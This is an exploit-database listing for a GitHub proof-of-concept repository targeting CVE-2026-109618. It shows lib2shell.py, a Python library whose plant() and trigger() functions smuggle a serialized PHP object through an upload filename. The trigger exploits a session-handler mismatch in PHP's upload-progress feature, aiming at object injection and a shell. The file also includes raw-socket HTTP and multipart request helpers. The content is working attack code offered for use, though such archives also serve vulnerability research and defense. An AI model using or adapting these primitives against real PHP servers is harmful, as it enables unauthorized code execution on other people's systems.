Exploit database

GH-7cd2a2266a74c50756d1fca034d18cb1

bohesama1999/php2shell-exp

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
bohesama1999/php2shell-expRevision 0438273aa2fb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp/lib2shell.py

Python · 4,888 bytes
#!/usr/bin/env python3
"""Shared helpers for the php2shell-exp PoCs.

The two primitives are deliberately tiny:

  plant()    writes a session record through a php_serialize directory
  trigger()  makes the upload-progress handler decode that record before RINIT

Nothing here is specific to a target application: plant() abuses the session
handler mismatch, trigger() abuses the pre-RINIT decode of rfc1867.
"""
import socket
import time
import uuid
from urllib.parse import urlparse


class Target:
    def __init__(self, url):
        u = urlparse(url if "://" in url else "http://" + url)
        self.host = u.hostname or "127.0.0.1"
        self.port = u.port or 80

    def __str__(self):
        return f"{self.host}:{self.port}"


def multipart(fields, files, boundary=None):
    """Build a multipart body. fields=[(name, value)], files=[(name, filename, data)]."""
    b = boundary or ("b" + uuid.uuid4().hex[:16])
    out = b""
    for name, value in fields:
        out += (f"--{b}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n"
                f"{value}\r\n").encode("latin-1")
    for name, filename, data in files:
        out += (f"--{b}\r\nContent-Disposition: form-data; name=\"{name}\"; "
                f"filename=\"{filename}\"\r\n\r\n").encode("latin-1")
        out += (data if isinstance(data, bytes) else data.encode("latin-1"))
        out += b"\r\n"
    out += f"--{b}--\r\n".encode()
    return out, f"multipart/form-data; boundary={b}"


def raw_request(target, method, path, headers=None, body=b"", timeout=15):
    headers = dict(headers or {})
    headers.setdefault("Host", target.host)
    headers.setdefault("Connection", "close")
    head = f"{method} {path} HTTP/1.1\r\n"
    for k, v in headers.items():
        head += f"{k}: {v}\r\n"
    head += "\r\n"
    s = socket.create_connection((target.host, target.port), timeout=timeout)
    s.sendall(head.encode("latin-1") + body)
    data = b""
    while True:
        try:
            chunk = s.recv(65536)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    s.close()
    return data


def http_post(target, path, body, content_type, sid=None, timeout=15):
    h = {"Content-Type": content_type, "Content-Length": str(len(body))}
    if sid:
        h["Cookie"] = f"PHPSESSID={sid}"
    return raw_request(target, "POST", path, h, body, timeout=timeout)


def http_get(target, path, timeout=10):
    return raw_request(target, "GET", path, timeout=timeout)


def body_of(response):
    head, _, rest = response.partition(b"\r\n\r\n")
    if b"transfer-encoding: chunked" in head.lower():
        out = b""
        while True:
            line, _, rest = rest.partition(b"\r\n")
            try:
                size = int(line.split(b";")[0], 16)
            except ValueError:
                break
            if size == 0:
                break
            out += rest[:size]
            rest = rest[size + 2:]
        return out
    return rest


def status_of(response):
    return response.split(b"\r\n", 1)[0].decode("latin-1", "replace") if response else "NO RESPONSE"


def php_object(cls, props):
    """Minimal serializer, so the payload is explicit rather than magic bytes."""
    out = f'O:{len(cls)}:"{cls}":{len(props)}:{{'
    for name, value in props:
        out += f's:{len(name.encode())}:"{name}";s:{len(value.encode())}:"{value}";'
    return out + "}"


def plant(target, sid, payload, path="/app/upload.php", timeout=15):
    """Write `payload` into the session file under the php_serialize handler.

    The filename is stored raw by the upload-progress handler, so a `|` inside
    it becomes the key/value delimiter when the record is later read by the
    `php` handler.  session.upload_progress.cleanup must be Off, otherwise the
    entry is removed when this request finishes.
    """
    filename = payload.replace("\\", "\\\\").replace('"', '\\"')
    body, ctype = multipart(
        [("PHPSESSID", sid), ("PHP_SESSION_UPLOAD_PROGRESS", "x")],
        [("f", filename, b"Z")],
    )
    return http_post(target, path, body, ctype, sid=sid, timeout=timeout)


def trigger(target, sid, path="/api/pre.php", timeout=15):
    """Decode the planted record in the rfc1867 startup path (before RINIT)."""
    body, ctype = multipart(
        [("PHPSESSID", sid), ("PHP_SESSION_UPLOAD_PROGRESS", "y")],
        [("g", "b.txt", b"Q")],
    )
    return http_post(target, path, body, ctype, sid=sid, timeout=timeout)


def wait_for_text(target, path, needle, tries=25, delay=0.1):
    """nginx falls back to index.php for unknown files, so match on content."""
    for _ in range(tries):
        body = body_of(http_get(target, path))
        if needle in body:
            return body
        time.sleep(delay)
    return None


def new_sid(prefix="p2s"):
    return prefix + uuid.uuid4().hex[:20]